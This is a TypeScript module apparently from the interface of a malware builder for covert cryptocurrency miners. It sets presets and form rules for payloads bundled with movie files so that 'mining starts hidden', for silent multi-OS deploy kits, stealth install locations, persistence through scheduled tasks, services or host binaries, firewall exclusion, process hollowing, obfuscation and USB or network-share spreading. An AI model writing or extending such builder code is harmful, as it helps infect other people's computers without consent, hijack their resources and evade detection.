import type { BuildRequest } from '../types'; /** UI deliverable — derived from forge flags, not sent to the API. */ export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion'; export interface InstallBaseOption { value: string; label: string; hint?: string; } const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [ { value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' }, { value: 'appdata', label: 'Roaming App Data (%APPDATA%)' }, { value: 'programdata', label: 'Program Data (%ProgramData%)' }, { value: 'userprofile', label: 'User Profile (%USERPROFILE%)' }, { value: 'temp', label: 'Temp Folder (%TEMP%)' }, { value: 'custom', label: 'Custom path…' }, ]; const UNIX_INSTALL_BASES: InstallBaseOption[] = [ { value: 'xdg_data_home', label: 'XDG data (~/.local/share)' }, { value: 'home', label: 'Home folder (~)' }, { value: 'temp', label: 'Temp (/tmp or $TMPDIR)' }, { value: 'custom', label: 'Custom path…' }, ]; const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [ { value: 'localappdata', label: 'Stealth cache location (auto per OS)', hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support', }, { value: 'home', label: 'User home (all platforms)' }, { value: 'temp', label: 'Temp folder (all platforms)' }, { value: 'custom', label: 'Custom path…' }, ]; export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable { if (form.spread_kit) return 'spread_kit'; if (form.fusion_enabled) return 'fusion'; return 'single'; } export function deliverableSummary(type: ForgeDeliverable): string { switch (type) { case 'fusion': return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.'; case 'spread_kit': return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.'; default: return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).'; } } /** Recommended toggles when Spread Kit is selected. */ export function spreadKitPreset(): Partial { return { spread_kit: true, fusion_enabled: false, target_os: 'universal', target_arch: 'all', run_as: 'scheduled', persistence: true, auto_start: true, self_healing: true, stealth_mode: true, silent_mode: true, file_logging: false, firewall_exclusion: true, display_mode: 'background', mining_mode: 'idle', process_hollowing: false, hole_punch: false, remote_aggressive: true, auto_spread: false, usb_spread: false, share_spread: false, }; } export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] { const t = targetOs || 'windows'; if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES; if (t === 'universal') return UNIVERSAL_INSTALL_BASES; return WINDOWS_INSTALL_BASES; } function isWindowsOnlyTarget(targetOs?: string): boolean { return !targetOs || targetOs === 'windows'; } function isSingleUnixTarget(targetOs?: string): boolean { return targetOs === 'linux' || targetOs === 'darwin'; } /** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */ export function normalizeForgeForm(form: BuildRequest): BuildRequest { const next: BuildRequest = { ...form }; // Deliverable coupling — spread kit wins if both flags were somehow set if (next.spread_kit) { next.fusion_enabled = false; next.target_os = 'universal'; next.target_arch = 'all'; } else if (next.fusion_enabled) { next.spread_kit = false; if (next.target_os === 'windows' || !next.target_os) { next.target_os = 'universal'; } next.display_mode = 'background'; next.silent_mode = true; } if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') { next.target_os = 'windows'; next.spread_kit = false; } // Architecture if (isSingleUnixTarget(next.target_os)) { if (!next.target_arch || next.target_arch === 'all') { next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64'; } } else { next.target_arch = 'all'; } // Windows-only forge pipeline if (!isWindowsOnlyTarget(next.target_os)) { next.sign_build = false; if (next.target_os !== 'universal') { next.obfuscate = false; } } // Process hollowing — Windows workers only if (isSingleUnixTarget(next.target_os)) { next.process_hollowing = false; } // Install base matches target OS family const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']); const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']); if (isSingleUnixTarget(next.target_os)) { if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') { next.install_base = 'xdg_data_home'; } } else if (isWindowsOnlyTarget(next.target_os)) { if (next.install_base === 'xdg_data_home') { next.install_base = 'localappdata'; } } if (next.install_base !== 'custom') { next.install_custom_base = ''; } // Stealth / display if (next.stealth_mode) { next.file_logging = false; if (next.display_mode === 'visible') { next.display_mode = 'background'; } next.silent_mode = true; } // Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match) if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20; if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5; if (!next.schedule_start) next.schedule_start = '21:00'; if (!next.schedule_end) next.schedule_end = '06:00'; // Thread mode if (next.thread_mode === 'percent') { if (next.thread_percent < 1 || next.thread_percent > 100) { next.thread_percent = 75; } } else if (next.threads < 1) { next.threads = 4; } // Run-as forces persistence if (next.run_as === 'scheduled' || next.run_as === 'service' || next.run_as === 'bits' || next.run_as === 'host_binary') { next.persistence = true; next.auto_start = true; } if (next.run_as === 'host_binary' && !next.host_binary_target?.trim()) { next.host_binary_target = 'ssh'; } // AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty if (!next.ai_enabled) { next.ai_ollama_endpoint = 'http://localhost:11434'; next.ai_model = 'llama3.2'; } else { if (!next.ai_ollama_endpoint?.trim()) { next.ai_ollama_endpoint = 'http://localhost:11434'; } if (!next.ai_model?.trim()) { next.ai_model = 'llama3.2'; } } // Fusion-only fields if (!next.fusion_enabled) { next.fusion_media_base_name = ''; next.fusion_export_subdir = ''; if (next.fusion_payload_kind === 'video') { next.fusion_payload_kind = 'exe'; } } return next; } /** Apply a deliverable preset — call from UI when user picks build type. */ export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest { const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false }; switch (type) { case 'fusion': return normalizeForgeForm({ ...base, fusion_enabled: true, target_os: 'universal', target_arch: 'all', display_mode: 'background', silent_mode: true, fusion_media_mode: base.fusion_media_mode || 'paired', fusion_payload_kind: base.fusion_payload_kind || 'exe', }); case 'spread_kit': return normalizeForgeForm({ ...base, ...spreadKitPreset(), }); default: return normalizeForgeForm({ ...base, target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows', }); } }